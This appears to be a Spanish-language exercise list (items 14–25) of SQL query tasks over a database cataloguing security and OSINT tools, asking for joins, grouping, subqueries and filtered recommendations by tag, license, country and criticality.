    14. Mostrar el nombre de la categoría y el número de herramientas asociadas, ordenado de mayor a menor número.
    15. Listar todas las herramientas junto con el nombre de su categoría (JOIN entre herramientas y categorias).
    16. Listar las herramientas que tengan el tag "malware_sandbox" (JOIN con tags y herramienta_tag).
    17. Mostrar todas las herramientas que tengan el tag "breach", indicando nombre de la herramienta, URL y licencia.
    18. Listar las herramientas que tengan más de 2 tags asociados (JOIN + GROUP BY + HAVING).
    19. Encontrar las herramientas con nivel de criticidad 5 que además tengan algún tag relacionado con amenazas ('threat_intel' o 'breach').
    20. Usar una subconsulta para mostrar todas las herramientas cuya categoría tenga más de 3 herramientas asociadas (subconsulta sobre categorias o herramientas).
    21. Mostrar las herramientas cuya licencia sea distinta de la mayoría (por ejemplo, todas las que NO sean gratuitas si la mayoría lo son).
    22. Mostrar, por cada país, cuántas herramientas tiene y el nivel de criticidad medio.
    23. Crear una consulta que responda a: “Quiero herramientas para investigar dominios o DNS que sean gratuitas y no requieran VPN”.
    24. Crear una consulta que responda a: “Necesito un sustituto de Shodan que no esté alojado en Estados Unidos”.
    25. Crear una consulta que devuelva una “lista recomendada”: herramientas con criticidad entre 2 y 4, gratuitas o freemium, y con al menos un tag.